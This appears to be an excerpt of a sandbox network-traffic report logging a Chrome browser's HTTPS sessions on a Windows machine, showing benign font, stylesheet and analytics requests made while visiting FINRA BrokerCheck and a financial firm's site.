2024-04-11 20:35:04 UTC	1255	IN	Data Raw: 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e Data Ascii: v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fon
2024-04-11 20:35:04 UTC	1255	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E0
2024-04-11 20:35:04 UTC	1255	IN	Data Raw: 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b Data Ascii: U+04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-11 20:35:04 UTC	1255	IN	Data Raw: 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b Data Ascii: ce { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+
2024-04-11 20:35:04 UTC	1255	IN	Data Raw: 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: tic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight
2024-04-11 20:35:04 UTC	813	IN	Data Raw: 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 72 7a 34 44 76 55 2d 63 59 32 4a 59 43 77 48 53 54 63 6b 30 5f 71 6d 2d 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 58 4c 48 4c 4a 6d 2d 66 69 58 7a 6a 69 72 75 45 69 6c 48 68 41 41 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f Data Ascii: }</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/styles__ltr.css"><script nonce="XLHLJm-fiXzjiruEilHhAA" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.co
2024-04-11 20:35:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49842	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:04 UTC	596	OUT	GET /favicon.ico HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:04 UTC	607	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 548 x-fw-hash: thumialfjs x-xss-protection: 1 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 x-fw-version: 5.0.0 x-content-type-options: nosniff content-type: text/html Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:04 GMT X-Served-By: cache-ewr18168-EWR, cache-ewr18153-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867705.824792,VS0,VE64 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: NO X-FW-Type: VISIT
2024-04-11 20:35:04 UTC	548	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49846	142.250.65.206	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:05 UTC	828	OUT	GET /maps/gen_204?target=api&ev=api_mapft&cad=host:www.google.com,v:56,fv:3.56.8,r:100,client:google-maps-embed,Ct4g:1,hybrid:0,src:apiv3,token:7xefnn2dkf,ts:vp7fm7 HTTP/1.1 Host: maps.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:05 UTC	424	IN	HTTP/1.1 204 No Content Content-Type: image/gif Date: Thu, 11 Apr 2024 20:35:05 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: mafe Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=15 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49864	18.238.49.61	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:21 UTC	593	OUT	GET /vht-conversation-bridge-runtime.css HTTP/1.1 Host: 4eb97633b8b43872.cbridgert.vhtcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://brokercheck.finra.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:22 UTC	932	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 4020 Connection: close Vary: Accept-Encoding Date: Thu, 11 Apr 2024 20:35:22 GMT x-amzn-RequestId: 65e73859-2aba-415f-ad84-db045b826643 last-modified: Tue, 08 Aug 2023 18:56:24 GMT x-amzn-Remapped-content-length: 4020 x-amzn-Remapped-connection: Close x-amz-apigw-id: WFBtnETLIAMEf2w= cache-control: no-cache, no-store, must-revalidate x-amzn-Remapped-server: nginx etag: "64d28fd8-fb4" X-Amzn-Trace-Id: Root=1-6618498a-3bd027c524ad0cdf27bc16dd;Parent=2b0c8dad40cc508b;Sampled=0;lineage=65a347a8:0 accept-ranges: bytes x-amzn-Remapped-date: Thu, 11 Apr 2024 20:35:22 GMT Via: 1.1 94ac78512342d473815908b66b16cd7c.cloudfront.net (CloudFront), 1.1 0b703f88574c6bad454306eb64dd50a2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR50-C1 X-Cache: Miss from cloudfront X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: dBGgndhGGxFfT_Qea1aVAFxQwz2UZvq12nkhYuO4_GMITyBnCR9iVg==
2024-04-11 20:35:22 UTC	4020	IN	Data Raw: 5b 64 61 74 61 2d 76 68 74 2d 77 69 64 67 65 74 2d 69 64 5d 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 0a 5b 64 61 74 61 2d 76 68 74 2d 63 6f 6d 70 6f 6e 65 6e 74 3d 22 77 6f 72 6b 69 6e 67 2d 73 70 69 6e 6e 65 72 22 5d 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 30 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0a 20 20 20 20 72 69 67 68 74 3a 20 30 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 29 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 Data Ascii: [data-vht-widget-id] { position: relative;}[data-vht-component="working-spinner"] { display: none; position: absolute; top: 0; bottom: 0; right: 0; left: 0; background-color: rgba(255, 255, 255, 0.7); background-imag

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49863	18.238.49.61	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:21 UTC	591	OUT	GET /vht-conversation-bridge-brand.css HTTP/1.1 Host: 4eb97633b8b43872.cbridgert.vhtcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://brokercheck.finra.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:22 UTC	935	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 12392 Connection: close Vary: Accept-Encoding Date: Thu, 11 Apr 2024 20:35:22 GMT x-amzn-RequestId: cf92360d-5bd3-4497-9e0c-6a0572e7d830 last-modified: Tue, 08 Aug 2023 18:56:24 GMT x-amzn-Remapped-content-length: 12392 x-amzn-Remapped-connection: Close x-amz-apigw-id: WFBtnFspIAMEfng= cache-control: no-cache, no-store, must-revalidate x-amzn-Remapped-server: nginx etag: "64d28fd8-3068" X-Amzn-Trace-Id: Root=1-6618498a-0e67f7bf384aaa2e3596c877;Parent=0601ff9e29f77a5a;Sampled=0;lineage=65a347a8:0 accept-ranges: bytes x-amzn-Remapped-date: Thu, 11 Apr 2024 20:35:22 GMT Via: 1.1 e6fc68fd040718147cda2e3ef6f63636.cloudfront.net (CloudFront), 1.1 255e8a45aff6633687f7e4911e918abc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR50-C1 X-Cache: Miss from cloudfront X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: TTZxSvLXEMHgRTjRMlf2-yYxKNaUugHFuV554SeJ4MBSCjBCze6hKQ==
2024-04-11 20:35:22 UTC	12392	IN	Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 44 4d 2b 53 61 6e 73 3a 34 30 30 2c 34 30 30 69 2c 35 30 30 2c 35 30 30 69 2c 37 30 30 2c 37 30 30 69 26 64 69 73 70 6c 61 79 3d 73 77 61 70 27 29 3b 0a 0a 2f 2a 20 48 54 4d 4c 35 20 64 69 73 70 6c 61 79 2d 72 6f 6c 65 20 72 65 73 65 74 20 66 6f 72 20 6f 6c 64 65 72 20 62 72 6f 77 73 65 72 73 20 2a 2f 0a 2e 76 68 74 2d 77 69 64 67 65 74 20 61 72 74 69 63 6c 65 2c 20 2e 76 68 74 2d 77 69 64 67 65 74 20 61 73 69 64 65 2c 20 2e 76 68 74 2d 77 69 64 67 65 74 20 64 65 74 61 69 6c 73 2c 20 2e 76 68 74 2d 77 69 64 67 65 74 20 66 69 67 63 61 70 74 69 6f 6e 2c 20 2e 76 68 74 2d 77 69 64 67 65 74 20 66 69 67 Data Ascii: @import url('https://fonts.googleapis.com/css?family=DM+Sans:400,400i,500,500i,700,700i&display=swap');/* HTML5 display-role reset for older browsers */.vht-widget article, .vht-widget aside, .vht-widget details, .vht-widget figcaption, .vht-widget fig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49883	172.253.63.154	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:23 UTC	876	OUT	POST /j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-57309555-1&cid=662768576.1712867722&jid=1994135793&gjid=492407739&_gid=196736908.1712867722&_u=aEDAAEABEAAAACAAI~&z=758748813 HTTP/1.1 Host: stats.g.doubleclick.net Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://brokercheck.finra.org X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://brokercheck.finra.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:23 UTC	599	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://brokercheck.finra.org Strict-Transport-Security: max-age=10886400; includeSubDomains; preload Date: Thu, 11 Apr 2024 20:35:23 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Last-Modified: Sun, 17 May 1998 03:00:00 GMT Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Server: Golfe2 Content-Length: 2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 20:35:23 UTC	2	IN	Data Raw: 31 67 Data Ascii: 1g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49891	142.251.40.196	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:23 UTC	821	OUT	GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-57309555-1&cid=662768576.1712867722&jid=1994135793&_u=aEDAAEABEAAAACAAI~&z=425751122 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://brokercheck.finra.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:23 UTC	539	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 11 Apr 2024 20:35:23 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 20:35:23 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49892	142.251.163.155	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:23 UTC	614	OUT	GET /j/collect?t=dc&aip=1&_r=3&v=1&_v=j101&tid=UA-57309555-1&cid=662768576.1712867722&jid=1994135793&gjid=492407739&_gid=196736908.1712867722&_u=aEDAAEABEAAAACAAI~&z=758748813 HTTP/1.1 Host: stats.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:23 UTC	531	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=10886400; includeSubDomains; preload Date: Thu, 11 Apr 2024 20:35:23 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Last-Modified: Sun, 17 May 1998 03:00:00 GMT X-Content-Type-Options: nosniff Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Server: Golfe2 Content-Length: 2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 20:35:23 UTC	2	IN	Data Raw: 31 67 Data Ascii: 1g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49893	172.253.63.154	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:24 UTC	800	OUT	POST /g/collect?v=2&tid=G-6C0WRDNQ4X&cid=662768576.1712867722&gtm=45je44a0v9135603107za200&aip=1&dma=0&gcd=13l3l3l3l2&npa=0 HTTP/1.1 Host: stats.g.doubleclick.net Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://brokercheck.finra.org X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://brokercheck.finra.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:24 UTC	455	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://brokercheck.finra.org Date: Thu, 11 Apr 2024 20:35:24 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Credentials: true Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Server: Golfe2 Content-Length: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49896	142.250.72.100	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
